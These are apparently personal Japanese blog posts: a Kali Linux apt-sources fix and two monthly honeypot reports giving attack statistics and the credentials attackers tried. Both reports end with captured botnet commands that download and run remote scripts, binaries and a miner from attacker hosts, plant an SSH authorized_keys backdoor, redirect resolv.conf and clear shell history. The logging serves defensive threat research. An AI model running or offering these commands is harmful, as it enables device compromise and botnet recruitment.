Midnight Monologues

日々勉強したことを書いてきます

Kali Linuxの更新に失敗したとき - 2

概要

古いバージョンのKali Linuxをapt-get updateで更新しようとした際にKali Linuxリポジトリのファイルサイズの不一致エラーがでることがある。

┌──(root💀kali)-[~]
└─# cat /etc/os-release      
PRETTY_NAME="Kali GNU/Linux Rolling"
NAME="Kali GNU/Linux"
ID=kali
VERSION="2022.2"
VERSION_ID="2022.2"
VERSION_CODENAME="kali-rolling"
ID_LIKE=debian
ANSI_COLOR="1;31"
HOME_URL="https://www.kali.org/"
SUPPORT_URL="https://forums.kali.org/"
BUG_REPORT_URL="https://bugs.kali.org/"

┌──(root💀kali)-[~]
└─# apt-get update 
取得:1 http://ftp.riken.jp/Linux/kali kali-rolling InRelease [41.2 kB]
取得:2 http://ftp.riken.jp/Linux/kali kali-rolling/main amd64 Packages [19.4 MB]
取得:3 http://ftp.riken.jp/Linux/kali kali-rolling/main amd64 Contents (deb) [45.8 MB]
取得:3 http://ftp.riken.jp/Linux/kali kali-rolling/main amd64 Contents (deb) [45.8 MB]
取得:3 http://ftp.riken.jp/Linux/kali kali-rolling/main amd64 Contents (deb) [45.8 MB]
取得:3 http://ftp.riken.jp/Linux/kali kali-rolling/main amd64 Contents (deb) [45.8 MB]
取得:3 http://ftp.riken.jp/Linux/kali kali-rolling/main amd64 Contents (deb) [45.8 MB]
無視:3 http://ftp.riken.jp/Linux/kali kali-rolling/main amd64 Contents (deb)
無視:3 http://http.kali.org/kali kali-rolling/main amd64 Contents (deb)
エラー:3 http://http.kali.org/kali kali-rolling/main amd64 Contents (deb)
  File has unexpected size (45848286 != 45847123). Mirror sync in progress? [IP: 134.160.38.1 80]
41.2 kB を 2秒 で取得しました (19.1 kB/s)
パッケージリストを読み込んでいます... 完了
E: http://http.kali.org/kali/dists/kali-rolling/main/Contents-amd64 の取得に失敗しました  File has unexpected size (45848286 != 45847123). Mirror sync in progress? [IP: 134.160.38.1 80]
E: いくつかのインデックスファイルのダウンロードに失敗しました。これらは無視されるか、古いものが代わりに使われます。

原因と対策

Kali Network Repositories (/etc/apt/sources.list)の指定先の誤りを修正する

修正前
┌──(root💀kali)-[~]
└─# cat /etc/apt/sources.list                                                                                                                                                                                                        
# See https://www.kali.org/docs/general-use/kali-linux-sources-list-repositories/
deb http://http.kali.org/kali kali-rolling main contrib non-free

# Additional line for source packages
# deb-src http://http.kali.org/kali kali-rolling main contrib non-free
修正後

deb http://http.kali.org/kali kali-rolling main contrib non-free non-free-firmware を追記

┌──(root💀kali)-[~]
└─# cat /etc/apt/sources.list                                                                                                                                                                                                        
# See https://www.kali.org/docs/general-use/kali-linux-sources-list-repositories/
# deb http://http.kali.org/kali kali-rolling main contrib non-free
deb http://http.kali.org/kali kali-rolling main contrib non-free non-free-firmware

# Additional line for source packages
# deb-src http://http.kali.org/kali kali-rolling main contrib non-free

参考URL

www.kali.org

ハニーポット運用(月次報告:2023年2月)

1.SECCON 2022 電脳会議 参加

  • 2023年2月11日と2月12日に開催されたSECCON 2022 電脳会議 に参加した。
  • よわよわエンジニアでもイベントや勉強会に参加するとモチベーションアップにつながるので有難いことである。

www.seccon.jp

現地で渡した社内CTFのバグ修正のお礼




T-Potにて1か月運用した結果を記載する。

今月のChangelog

 更新無し。

前提条件

運用日時:2023年2月10日-2023年2月21日
運用期間:11日

結果

①各ハニーポットで検知したAttack件数
  • T-Potを構成する各ハニーポットへの攻撃件数の一覧を以下に記載する。
No ハニーポット 件数 先月順位
1 Honeytrap 192,798 2(↑)
2 Heralding 177,978 5(↑)
3 Ddospot 129,894 1(↓)
4 Cowrie 117,313 3(↓)
5 Dionaea 74,989 4(↑)
6 Mailoney 9,227 7(↑)
7 Adbhoney 8,855 9(↑)
8 Tanner 1,816 10(↑)
9 Redishoneypot 909 8(↓)
10 ConPot 887 13(↑)
11 Ciscoasa 731 6(↓)
12 CitrixHoneypot 676 11(↓)
13 ElasticPot 290 13(→)
14 Ipphoney 67 14(→)
15 Dicompot 61 15(→)
  • Result
    • Honeytrapへのアクセスが増加傾向にあった

②攻撃元の国名と件数(Top 20)
No 攻撃元の国名 件数 先月順位
1 Russia 176,848 5(↑)
2 United States 107,551 2(→)
3 Brazil 101,358 1(↓)
4 Netherlands 67,924 6(↑)
5 China 42,793 3(↓)
6 India 19,569 8(↑)
7 United Kingdom 13,429 7(→)
8 Vietnam 11,975 17(↑)
9 Sweden 11,270 10(↑)
10 Hong Kong 9,341 14(↑)
11 Latvia 9,210 12(↑)
12 Monaco 7,694 圏外(↑)
13 Iran 6,333 13(→)
14 Germany 6,143 15(↑)
15 Panama 5,911 圏外(↑)
16 Japan 5,267 16(→)
17 South Korea 5,162 9(↓)
18 Italy 4,997 圏外(↑)
19 Indonesia 4,738 18(↓)
20 Saudi Arabia 4,640 圏外(↑)
  • Result
    • ロシアからのアクセスが増える一方で中国からのアクセスが少ない傾向にあった



上位10ヵ国のアクセスポートの分布は以下の通り

攻撃元の国名 宛先ポート 件数
Russia 5900 122,465
Russia 445 4,544
Russia 23 1,537
Russia 22 592
Russia 34567 555
Russia 6379 487
Russia 3389 222
Russia 123 176
Russia 80 170
Russia 443 153
United States 123 5,330
United States 53 2,249
United States 22 2,228
United States 445 1,159
United States 5555 1,066
United States 23 811
United States 2323 330
United States 80 265
United States 6379 246
United States 81 242
Brazil 53 97,066
Brazil 445 2,790
Brazil 123 297
Brazil 23 115
Brazil 22 82
Brazil 2323 64
Brazil 1935 53
Brazil 8131 53
Brazil 5555 51
Brazil 60023 41
Netherlands 5900 53,759
Netherlands 123 265
Netherlands 19 124
Netherlands 22 121
Netherlands 23 50
Netherlands 5038 42
Netherlands 2020 40
Netherlands 2050 40
Netherlands 3376 40
Netherlands 3390 40
China 22 3,667
China 23 2,332
China 3389 1,757
China 445 1,473
China 123 1,305
China 53 662
China 21 617
China 60023 536
China 1433 481
China 2375 387
India 445 10,518
India 22 1,476
India 23 165
India 123 139
India 2323 91
India 6379 56
India 3375 40
India 3391 40
India 10001 36
India 60023 32
United Kingdom 25 7,230
United Kingdom 123 369
United Kingdom 22 253
United Kingdom 8080 163
United Kingdom 9001 90
United Kingdom 53 83
United Kingdom 9000 76
United Kingdom 445 69
United Kingdom 1515 63
United Kingdom 3389 59
Vietnam 445 7,087
Vietnam 22 794
Vietnam 123 45
Vietnam 23 33
Vietnam 5900 20
Vietnam 5555 15
Vietnam 1433 9
Vietnam 80 8
Vietnam 3052 5
Vietnam 3389 5
Sweden 22 2,088
Sweden 80 636
Sweden 5555 111
Sweden 5900 98
Sweden 123 94
Sweden 2323 76
Sweden 23 37
Sweden 445 24
Sweden 443 15
Sweden 60023 3
Hong Kong 53 2,490
Hong Kong 1025 238
Hong Kong 445 148
Hong Kong 5555 148
Hong Kong 8125 107
Hong Kong 81 99
Hong Kong 123 74
Hong Kong 2308 73
Hong Kong 22 70
Hong Kong 2121 67

③検知したCVEの脆弱性と件数
  • Suricata(オープンIPS)にて検知した各攻撃の脆弱性の内容を以下に記載する。
No CVE ID Count
1 CVE-2020-11899 384,940
2 CVE-2020-11910 11
3 CVE-2019-12263 CVE-2019-12261 CVE-2019-12260 CVE-2019-12255 9
  • Result
    • 先月から変更なし

④よく攻撃されるユーザ名
  • ユーザ名でよく攻撃されるキーワード(Top 50)で記載する。
No ユーザ名 件数
1 root 5,569
2 admin 1,618
3 sa 913
4 856
5 22 400
6 user 283
7 !root 199
8 2Wire 199
9 support 179
10 guest 158
11 666666 143
12 Admin 135
13 blank 118
14 factory 107
15 test 106
16 cameras 105
17 adm 103
18 debug 102
19 unknown 100
20 0 99
21 ubnt 97
22 ubuntu 97
23 $ALOC$ 96
24 pi 96
25 oracle 91
26 www 86
27 anonymous 76
28 web 73
29 ftp 68
30 data 67
31 postgres 67
32 supervisor 64
33 db 63
34 default 63
35 wwwroot 61
36 user1 50
37 tech 47
38 ftpuser 46
39 steam 45
40 service 42
41 centos 35
42 mysql 33
43 Administrator 32
44 admin1 30
45 dolphinscheduler 30
46 git 30
47 testuser 30
48 administrator 29
49 esuser 29
50 mother 27
  • Result
    • dolphinschedulerは Apache DolphinScheduler (オープンソースのワークフロー作成プラットフォーム) と考えられる

⑤よく攻撃されるパスワード
  • パスワードでよく攻撃されるキーワード(Top 50)を以下に記載する。
No パスワード 件数
1 admin 1,093
2 969
3 password 763
4 123456 721
5 12345678 426
6 12345 386
7 Password 347
8 blank 304
9 1234 303
10 0 251
11 root 245
12 user 208
13 666666 191
14 00000000 177
15 ubnt 165
16 123 161
17 support 155
18 alpine 138
19 hi3518 134
20 master 116
21 Aa123456. 113
22 1 110
23 unknown 110
24 1q2w3e4r 109
25 Passw0rd 108
26 backup 102
27 !ishtar 100
28 factory 100
29 cameras 99
30 1234admin 98
31 pass 97
32 synnet 96
33 1234567890 95
34 54321 94
35 _Cisco 93
36 10023 91
37 7ujMko0admin 89
38 1qaz2wsx 78
39 888888 73
40 guest 71
41 1234qwer 70
42 11111111 68
43 123123 67
44 passw0rd 67
45 1111 55
46 service 54
47 5up 52
48 test 52
49 system 50
50 Win1doW$ 49
  • Result
    • admin 7ujMko0adminadmin:Win1doW$はIoT機器に対するよく使われるユーザ名:パスワードの組み合わせである

⑥今月のmasscanとZmap
  • massscanの観測結果は以下の通り。

  • Zmapの観測結果は以下の通り。

  • Result

    • 特記事項は無し。

最後に

  • 今月のアクセス
    • blackcatというBotnetからのアクセスを確認した。IPアドレス109.206.240.231 から提供されている
No アクセス
1 cd /data/local/tmp/; busybox wget hxxp://109.206.240.9/w.sh; sh w.sh; curl hxxp://109.206.240.9/c.sh; sh c.sh; wget hxxp://109.206.240.9/wget.sh; sh wget.sh; curl hxxp://109.206.240.9/wget.sh; sh wget.sh; busybox wget hxxp://109.206.240.9/wget.sh; sh wget.sh; busybox curl hxxp://109.206.240.9/wget.sh; sh wget.sh
2 cd /data/local/tmp/; busybox wget hxxp://botnet.blackcat7.cyou//w.sh; sh w.sh; curl hxxp://botnet.blackcat7.cyou//c.sh; sh c.sh; wget hxxp://botnet.blackcat7.cyou//wget.sh; sh wget.sh; curl hxxp://botnet.blackcat7.cyou//wget.sh; sh wget.sh; busybox wget hxxp://botnet.blackcat7.cyou//wget.sh; sh wget.sh; busybox curl hxxp://botnet.blackcat7.cyou//wget.sh; sh wget.sh
3 cd /data/local/tmp/; busybox wget hxxp://85.209.134.231/w.sh; sh w.sh; curl hxxp://85.209.134.231/c.sh; sh c.sh; wget hxxp://85.209.134.231/wget.sh; sh wget.sh; curl hxxp://85.209.134.231/wget.sh; sh wget.sh; busybox wget hxxp://85.209.134.231/wget.sh; sh wget.sh; busybox curl hxxp://85.209.134.231/wget.sh; sh wget.sh
4 cd /data/local/tmp/; busybox wget hxxp://167.172.79.33/w.sh; sh w.sh; curl hxxp://167.172.79.33/c.sh; sh c.sh; wget hxxp://167.172.79.33/wget.sh; sh wget.sh; curl hxxp://167.172.79.33/wget.sh; sh wget.sh; busybox wget hxxp://167.172.79.33/wget.sh; sh wget.sh; busybox curl hxxp://167.172.79.33/wget.sh; sh wget.sh
5 cd /data/local/tmp/; busybox wget hxxp://139.162.63.250/w.sh; sh w.sh; curl hxxp://139.162.63.250/c.sh; sh c.sh; wget hxxp://139.162.63.250/wget.sh; sh wget.sh; curl hxxp://139.162.63.250/wget.sh; sh wget.sh; busybox wget hxxp://139.162.63.250/wget.sh; sh wget.sh; busybox curl hxxp://139.162.63.250/wget.sh; sh wget.sh
6 cd /data/local/tmp/; busybox wget hxxp://142.93.128.246/w.sh; sh w.sh; curl hxxp://142.93.128.246/c.sh; sh c.sh; wget hxxp://142.93.128.246/wget.sh; sh wget.sh; curl hxxp://142.93.128.246/wget.sh; sh wget.sh; busybox wget hxxp://142.93.128.246/wget.sh; sh wget.sh; busybox curl hxxp://142.93.128.246/wget.sh; sh wget.sh
7 cd /data/local/tmp/; busybox wget 109.206.240.231/w.sh; sh w.sh; curl 109.206.240.231/c.sh; sh c.sh; wget 109.206.240.231/wget.sh; sh wget.sh; curl 109.206.240.231/wget.sh; sh wget.sh; busybox wget 109.206.240.231/wget.sh; sh wget.sh; busybox curl 109.206.240.231/wget.sh; sh wget.sh
8 nproc;uname -a;cd /tmp;wget hxxp://58.135.80.99/a/miner.sh;bash miner.sh;cd /tmp;curl -sS hxxp://58.135.80.99/a/divu2|perl;wget -O - hxxp://58.135.80.99/a/divu2|perl;rm -rf div* miner.sh
9 cd /data/local/tmp/; rm -rf w.sh c.sh; busybox wget hxxp://107.189.5.161/w.sh; sh w.sh; curl hxxp://107.189.5.161/c.sh; sh c.sh
10 cd /data/local/tmp/; busybox wget hxxp://185.216.71.65/w.sh; sh w.sh; curl hxxp://185.216.71.65/c.sh; sh c.sh
11 cd /data/local/tmp/; busybox wget hxxp://193.42.33.21/w.sh; sh w.sh; curl hxxp://193.42.33.21/c.sh; sh c.sh
12 #!/bin/sh; PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; wget hxxp://23.235.171.196:1211/112; curl -O hxxp://23.235.171.196:1211/112; chmod +x 112; ./112; rm -rf 123.sh; history -c;
13 cd /data/local/tmp/; busybox wget hxxp://141.255.160.234/w.sh; sh w.sh; curl hxxp://141.255.160.234/c.sh; sh c.sh
14 cd /data/local/tmp/; busybox wget hxxp://47.87.229.145/w.sh; sh w.sh; curl hxxp://47.87.229.145/c.sh; sh c.sh
15 cd /data/local/tmp/; busybox wget hxxp://149.127.237.221/w.sh; sh w.sh; curl hxxp://149.127.237.221/c.sh; sh c.sh
16 cd /data/local/tmp/; busybox wget hxxp://111.92.242.146/w.sh; sh w.sh; curl hxxp://111.92.242.146/c.sh; sh c.sh
17 cd /tmp ; wget 212.193.30.26/okay.sh ; sh okay.sh ; rm -rf okay.sh ; curl -O 212.193.30.26/okay.sh ; sh okay.sh ; rm -rf okay.sh ; history -c
18 cd /data/local/tmp/; busybox wget hxxp://100.43.163.61/w.sh; sh w.sh; curl hxxp://100.43.163.61/c.sh; sh c.sh
19 cd /data/local/tmp/; busybox wget hxxp://193.111.250.222/bins/w.sh; sh w.sh; curl hxxp://193.111.250.222/bins/c.sh; sh c.sh


 


今月の作業BGM
曲名 アーティスト 備考
Shape of You Ed Sheeran ---

ハニーポット運用(月次報告:2023年5月)

1.国土交通省からの情報漏洩について

  • 2023年5月26日にg0d というユーザーがハッカーフォーラム上で国土交通省のハッキングしたとするデータを公開した。
  • 2023年にチューリッヒおよびアフラックでの個人情報が漏洩されたことに続き、今年は大規模な情報漏洩が身近に起こっている実感がある。
  • Pompompurin氏の逮捕とともにハッカーフォーラムの1つが閉鎖されたが、代替サイトがまた雨後の筍のように現れるのが現実のようだ。

詳細は以下報告書に的確に纏められている。 https://jp.security.ntt/resources/cyber_security_report/adhoc_CSR_20230529.pdf

2.AWSの資格取得

  • 多忙の業務の合間を縫って、AWS Certified Solutions Architect - Professional(SAP-C02) を取得した。
  • 受験のきっかけは会社からの報奨金を受け取るため(貧乏なので)であるが1度落ちたので、2度目で取得できて良かった。
  • 次回はCISSPAWS Certified Security - Specialty(SCS-C01)のいずれかを予定。(SCS-C01は2023年7月10日にSCS-C02に切り替わるので、様子見かな。)
     

T-Potにて1か月運用した結果を記載する。

今月のChangelog

 更新無し。

前提条件

運用日時:2023年5月1日-2023年5月31日
運用期間:31日

結果

①各ハニーポットで検知したAttack件数
  • T-Potを構成する各ハニーポットへの攻撃件数の一覧を以下に記載する。
No ハニーポット 件数 先月比
1 Honeytrap 1,145,903 1(→)
2 Cowrie 361,460 2(→)
3 Dionaea 216,204 3(→)
4 Ciscoasa 107,581 4(→)
5 Mailoney 41,912 5(→)
6 Ddospot 34,526 9(↑)
7 Heralding 28,038 6(↓)
8 Adbhoney 11,468 7(↑)
9 Tanner 4,241 8(↓)
10 ConPot 2,996 11(↑)
11 Redishoneypot 2,407 10(↓)
12 CitrixHoneypot 1,279 12(→)
13 ElasticPot 747 13(→)
14 Ipphoney 170 14(→)
15 Dicompot 56 15(→)
  • Result
    • 先月からHoneytrap(1位)~Mailoney(5位)までアクセス数の順位に変更はなかった。

②攻撃元の国名と件数(Top 20)
No 攻撃元の国名 件数 先月順位
1 Russia 554,375 1(→)
2 United States 199,299 2(→)
3 China 145,170 3(→)
4 India 96,774 9(↑)
5 Hong Kong 72,217 12(↑)
6 Netherlands 45,017 16(↑)
7 Brazil 42,391 圏外(↑)
8 United Kingdom 38,944 5(↓)
9 Bulgaria 36,825 8(↓)
10 France 36,301 4(↓)
11 Germany 35,355 6(↓)
12 Monaco 32,595 11(↓)
13 Sweden 28,026 13(→)
14 Latvia 26,882 14(→)
15 Poland 24,922 圏外(↑)
16 Vietnam 24,137 15(↓)
17 Thailand 22,084 圏外(↑)
18 Panama 20,309 17(↓)
19 Singapore 19,655 圏外(↑)
20 Japan 15,133 18(↓)
  • Result
    • 全体のアクセス数は先月より減少傾向にあった。
    • アクセス数の比率はロシア(1位)、米国(2位)・中国(3位)で変化はなかった。



上位10ヵ国のアクセスポートの分布は以下の通り

攻撃元の国名 宛先ポート 件数
Russia 445 11,848
Russia 22 1,722
Russia 6379 978
Russia 34567 508
Russia 3389 466
Russia 80 433
Russia 23 394
Russia 8080 364
Russia 9001 218
Russia 1433 198
United States 22 7,966
United States 445 5,366
United States 23 1,831
United States 25 1,790
United States 3389 1,558
United States 80 1,297
United States 6379 705
United States 161 402
United States 21 356
United States 443 296
China 22 19,711
China 445 8,938
China 23 6,240
China 25 2,201
China 8080 1,665
China 2323 1,376
China 2375 859
China 1433 805
China 2376 404
China 8888 387
India 445 82,663
India 22 2,021
India 23 702
India 1433 226
India 50100 84
India 1200 69
India 80 64
India 2323 54
India 1234 43
India 1962 41
Hong Kong 22 1,002
Hong Kong 445 358
Hong Kong 3389 334
Hong Kong 9000 124
Hong Kong 58000 116
Hong Kong 7547 109
Hong Kong 2000 105
Hong Kong 3729 105
Hong Kong 1025 92
Hong Kong 8663 92
Netherlands 22 1,944
Netherlands 23 248
Netherlands 2222 204
Netherlands 81 140
Netherlands 80 129
Netherlands 1459 93
Netherlands 1433 92
Netherlands 10243 78
Netherlands 8800 73
Netherlands 8080 70
Brazil 53 29,665
Brazil 445 6,604
Brazil 22 969
Brazil 23 265
Brazil 2323 101
Brazil 1433 38
Brazil 19 20
Brazil 80 15
Brazil 8080 14
Brazil 7001 9
United Kingdom 25 9,530
United Kingdom 22 972
United Kingdom 3389 162
United Kingdom 445 150
United Kingdom 8080 117
United Kingdom 23 104
United Kingdom 9000 93
United Kingdom 80 84
United Kingdom 6443 84
United Kingdom 4369 82
Bulgaria 5900 27,456
Bulgaria 23 676
Bulgaria 25 84
Bulgaria 5555 69
Bulgaria 22 40
Bulgaria 8088 36
Bulgaria 6379 30
Bulgaria 445 29
Bulgaria 8080 15
Bulgaria 80 14
France 22 1,974
France 445 300
France 23 161
France 2323 150
France 8000 47
France 3389 44
France 19 40
France 8080 39
France 3000 35
France 8888 32

③検知したCVEの脆弱性と件数
  • Suricata(オープンIPS)にて検知した各攻撃の脆弱性の内容を以下に記載する。
No CVE ID Count
1 CVE-2020-11899,963394 963,394
2 CVE-2020-11910,42 42
3 CVE-2019-12263 CVE-2019-12261 CVE-2019-12260 CVE-2019-12255,2 2
  • Result
    • 先月から変更なし

④よく攻撃されるユーザ名
  • ユーザ名でよく攻撃されるキーワード(Top 50)で記載する。
No ユーザ名 件数
1 root 19,295
2 admin 4,052
3 1,907
4 user 1,574
5 ubnt 1,116
6 22 891
7 pi 888
8 test 769
9 sa 641
10 ubuntu 630
11 postgres 617
12 oracle 601
13 !root 434
14 2Wire 426
15 ansible 405
16 support 374
17 ansadmin 371
18 steam 366
19 jenkins 363
20 es 360
21 telnet 359
22 craft 343
23 Admin 332
24 zjw 331
25 moxa 330
26 orangepi 306
27 666666 279
28 blank 276
29 guest 269
30 hadoop 264
31 mysql 259
32 devops 239
33 unknown 236
34 0 232
35 uucp 228
36 adm 226
37 debug 226
38 cameras 219
39 factory 217
40 $ALOC$ 214
41 zabbix 207
42 vagrant 205
43 teste 203
44 user1 184
45 minima 167
46 usr 166
47 akash 152
48 fa 148
49 default 129
50 supervisor 114
  • Result
    • 特記事項なし

⑤よく攻撃されるパスワード
  • パスワードでよく攻撃されるキーワード(Top 50)を以下に記載する。
No パスワード 件数
1 admin 2,157
2 1,976
3 123456 1,886
4 password 1,690
5 1234 1,180
6 12345 1,136
7 root 1,007
8 1 813
9 123 795
10 ubnt 747
11 12345678 660
12 blank 642
13 user 619
14 test 560
15 123456789 538
16 1qaz@WSX 494
17 Admin123 487
18 0 472
19 admin123 389
20 666666 354
21 Root1234 329
22 1111 319
23 support 317
24 Password1 302
25 Aa123456 301
26 P@ssw0rd 297
27 alpine 279
28 00000000 265
29 admin1234 250
30 hi3518 248
31 test123 239
32 Aa123456. 226
33 1234admin 225
34 _Cisco 216
35 uucp 216
36 !ishtar 213
37 10023 213
38 1q2w3e4r5t 212
39 1234567890 210
40 Root2022 210
41 backup 210
42 Password123 206
43 qweqwe 204
44 ubuntu 204
45 Admin1234 203
46 cameras 203
47 root123 202
48 synnet 200
49 Root1337 198
50 Root123 197
  • Result +特記事項なし

⑥今月のmasscanとZmap
  • massscanの観測結果は以下の通り。

  • Zmapの観測結果は以下の通り。

  • Result

    • 特記事項は無し。

最後に

  • 今月のアクセス
    • 95[.]214[.]27[.]202 から特徴的なアクセスがあった。
    • No15の処理では名前解決の定義ファイルへ自身のIPアドレスを登録する処理も確認された。
    • 対象のIPアドレスはIotマルウェアであるMiraiのC2サーバとして稼働しているようだ。



No アクセス
1 cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC/yU0iqklqw6etPlUon4mZzxslFWq8G8sRyluQMD3i8tpQWT2cX/mwGgSRCz7HMLyxt87olYIPemTIRBiyqk8SLD3ijQpfZwQ9vsHc47hdTBfj89FeHJGGm1KpWg8lrXeMW+5jIXTFmEFhbJ18wc25Dcds4QCM0DvZGr/Pg4+kqJ0gLyqYmB2fdNzBcU05QhhWW6tSuYcXcyAz8Cp73JmN6TcPuVqHeFYDg05KweYqTqThFFHbdxdqqrWy6fNt8q/cgI30NBa5W2LyZ4b1v6324IEJuxImARIxTc96Igaf30LUza8kbZyc3bewY6IsFUN1PjQJcJi0ubVLyWyyJ554Tv8BBfPdY4jqCr4PzaJ2Rc1JFJYUSVVT4yX2p7L6iRpW212eZmqLMSoR5a2a/tO2s1giIlb+0EHtFWc2QH7yz/ZBjnun7opIoslLVvYJ9cxMoLeLr5Ig+zny+IEA3x090xtcL62X0jea6btVnYo7UN2BARziisZze6oVuOTCBijuyvOM6ROZ6s/wl4CQAOSLDeFIP5L1paP9V1XLaYLDBAodNaUPFfTxggH3tZrnnU8Dge5/1JNa08F3WNUPM1S1x8L2HMatwc82x35jXyBSp3AMbdxMPhvyYI8v2J1PqJH8OqGTVjdWe40mD2osRgLo1EOfP/SFBTD5VEo95K2ZLQ== system key generated by server 20220709">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~;
2 cat /bin/echo||while read i; do echo $i; done < /proc/self/exe;
3 cat /proc/cpuinfo;
4 cat /proc/mounts
5 cd /dev; wget http[:]//95[.]214[.]27[.]202/arm4 -O- >.f; ./.f ssh.wget.arm4; >.f; echo rppr
6 cd /dev; wget http[:]//95[.]214[.]27[.]202/mips -O- >.f; ./.f ssh.wget.mips; >.f; echo rppr
7 cd /dev; wget http[:]//95[.]214[.]27[.]202/sparc -O- >.f; ./.f ssh.wget.sparc; >.f; echo rppr
8 cd /dev; wget http[:]//95[.]214[.]27[.]202/superh -O- >.f; ./.f ssh.wget.superh; >.f; echo rppr
9 cd /dev; wget http[:]//95[.]214[.]27[.]202/x86 -O- >.f; ./.f ssh.wget.x86; >.f; echo rppr
10 cd /tmp; wget http[:]//95[.]214[.]27[.]202/arm4 -O- >.f; ./.f ssh.wget.arm4; >.f; echo rppr
11 cd /tmp; wget http[:]//95[.]214[.]27[.]202/mipsel -O- >.f; ./.f ssh.wget.mipsel; >.f; echo rppr
12 cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC/yU0iqklqw6etPlUon4mZzxslFWq8G8sRyluQMD3i8tpQWT2cX/mwGgSRCz7HMLyxt87olYIPemTIRBiyqk8SLD3ijQpfZwQ9vsHc47hdTBfj89FeHJGGm1KpWg8lrXeMW+5jIXTFmEFhbJ18wc25Dcds4QCM0DvZGr/Pg4+kqJ0gLyqYmB2fdNzBcU05QhhWW6tSuYcXcyAz8Cp73JmN6TcPuVqHeFYDg05KweYqTqThFFHbdxdqqrWy6fNt8q/cgI30NBa5W2LyZ4b1v6324IEJuxImARIxTc96Igaf30LUza8kbZyc3bewY6IsFUN1PjQJcJi0ubVLyWyyJ554Tv8BBfPdY4jqCr4PzaJ2Rc1JFJYUSVVT4yX2p7L6iRpW212eZmqLMSoR5a2a/tO2s1giIlb+0EHtFWc2QH7yz/ZBjnun7opIoslLVvYJ9cxMoLeLr5Ig+zny+IEA3x090xtcL62X0jea6btVnYo7UN2BARziisZze6oVuOTCBijuyvOM6ROZ6s/wl4CQAOSLDeFIP5L1paP9V1XLaYLDBAodNaUPFfTxggH3tZrnnU8Dge5/1JNa08F3WNUPM1S1x8L2HMatwc82x35jXyBSp3AMbdxMPhvyYI8v2J1PqJH8OqGTVjdWe40mD2osRgLo1EOfP/SFBTD5VEo95K2ZLQ== system key generated by server 20220709">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~;
13 echo -e '\x4d\x4f\x55\x4e\x54\x53\x5f\x44\x4f\x4e\x45'
14 echo -e '\x72\x70\x70\x72/dev' > /dev/.dabag; cat /dev/.dabag; rm /dev/.dabag
15 echo 'nameserver 95.214.27.202'>/etc/resolv.conf;
16 mkdir /dev/; mount -o remount, rw /dev/; cp /bin/echo /dev/.z && >/dev/.z && cd /dev/; rm -rf .i; cp .z .i; cp .i .d; chmod 777 .i; chmod 777 .d;
17 mkdir /dev/shm/; mount -o remount, rw /dev/shm/; cp /bin/echo /dev/shm/.z && >/dev/shm/.z && cd /dev/shm/; rm -rf .i; cp .z .i; cp .i .d; chmod 777 .i; chmod 777 .d;
18 mkdir /etc/; mount -o remount, rw /etc/; cp /bin/echo /etc/.z && >/etc/.z && cd /etc/; rm -rf .i; cp .z .i; cp .i .d; chmod 777 .i; chmod 777 .d;
19 mkdir /home/$USER/; mount -o remount, rw /home/$USER/; cp /bin/echo /home/$USER/.z && >/home/$USER/.z && cd /home/$USER/; rm -rf .i; cp .z .i; cp .i .d; chmod 777 .i; chmod 777 .d;
20 mkdir /home/; mount -o remount, rw /home/; cp /bin/echo /home/.z && >/home/.z && cd /home/; rm -rf .i; cp .z .i; cp .i .d; chmod 777 .i; chmod 777 .d;
21 mkdir /mnt/; mount -o remount, rw /mnt/; cp /bin/echo /mnt/.z && >/mnt/.z && cd /mnt/; rm -rf .i; cp .z .i; cp .i .d; chmod 777 .i; chmod 777 .d;
22 mkdir /tmp/; mount -o remount, rw /tmp/; cp /bin/echo /tmp/.z && >/tmp/.z && cd /tmp/; rm -rf .i; cp .z .i; cp .i .d; chmod 777 .i; chmod 777 .d;
23 mkdir /var/; mount -o remount, rw /var/; cp /bin/echo /var/.z && >/var/.z && cd /var/; rm -rf .i; cp .z .i; cp .i .d; chmod 777 .i; chmod 777 .d;
24 mkdir /var/tmp/; mount -o remount, rw /var/tmp/; cp /bin/echo /var/tmp/.z && >/var/tmp/.z && cd /var/tmp/; rm -rf .i; cp .z .i; cp .i .d; chmod 777 .i; chmod 777 .d;
25 rm -f /dev/.d; rm -f /dev/.f; >/dev/.d; (chmod 777 /dev/.d || cp /bin/echo /dev/.d; >/dev/.d); cp /dev/.d /dev/.f
26 wget || busybox wget || wd1; curl || busybox curl || cd1; echo -e '\x67\x61\x79\x66\x67\x74';
27 wget --help>/dev/null&&echo -en '\x57\x47\x45\x54';curl --help>/dev/null&&echo -en '\x43\x55\x52\x4c'; echo -en '\x67\x61\x79\x66\x67\x74'
28 wget http[:]//95[.]214[.]27[.]202/arc -O-> .i || busybox wget http[:]//95[.]214[.]27[.]202/arc -O-> .i || wd1 http[:]//95[.]214[.]27[.]202/arc -O-> .i; ./.i ssh.wget.arc; >.i;
29 wget http[:]//95[.]214[.]27[.]202/arm4 -O-> .i || busybox wget http[:]//95[.]214[.]27[.]202/arm4 -O-> .i || wd1 http[:]//95[.]214[.]27[.]202/arm4 -O-> .i; ./.i ssh.wget.arm4; >.i;
30 wget http[:]//95[.]214[.]27[.]202/m68k -O-> .i || busybox wget http[:]//95[.]214[.]27[.]202/m68k -O-> .i || wd1 http[:]//95[.]214[.]27[.]202/m68k -O-> .i; ./.i ssh.wget.m68k; >.i;
31 wget http[:]//95[.]214[.]27[.]202/mips -O-> .i || busybox wget http[:]//95[.]214[.]27[.]202/mips -O-> .i || wd1 http[:]//95[.]214[.]27[.]202/mips -O-> .i; ./.i ssh.wget.mips; >.i;
32 wget http[:]//95[.]214[.]27[.]202/mipsel -O-> .i || busybox wget http[:]//95[.]214[.]27[.]202/mipsel -O-> .i || wd1 http[:]//95[.]214[.]27[.]202/mipsel -O-> .i; ./.i ssh.wget.mipsel; >.i;
33 wget http[:]//95[.]214[.]27[.]202/powerpc -O-> .i || busybox wget http[:]//95[.]214[.]27[.]202/powerpc -O-> .i || wd1 http[:]//95[.]214[.]27[.]202/powerpc -O-> .i; ./.i ssh.wget.powerpc; >.i;
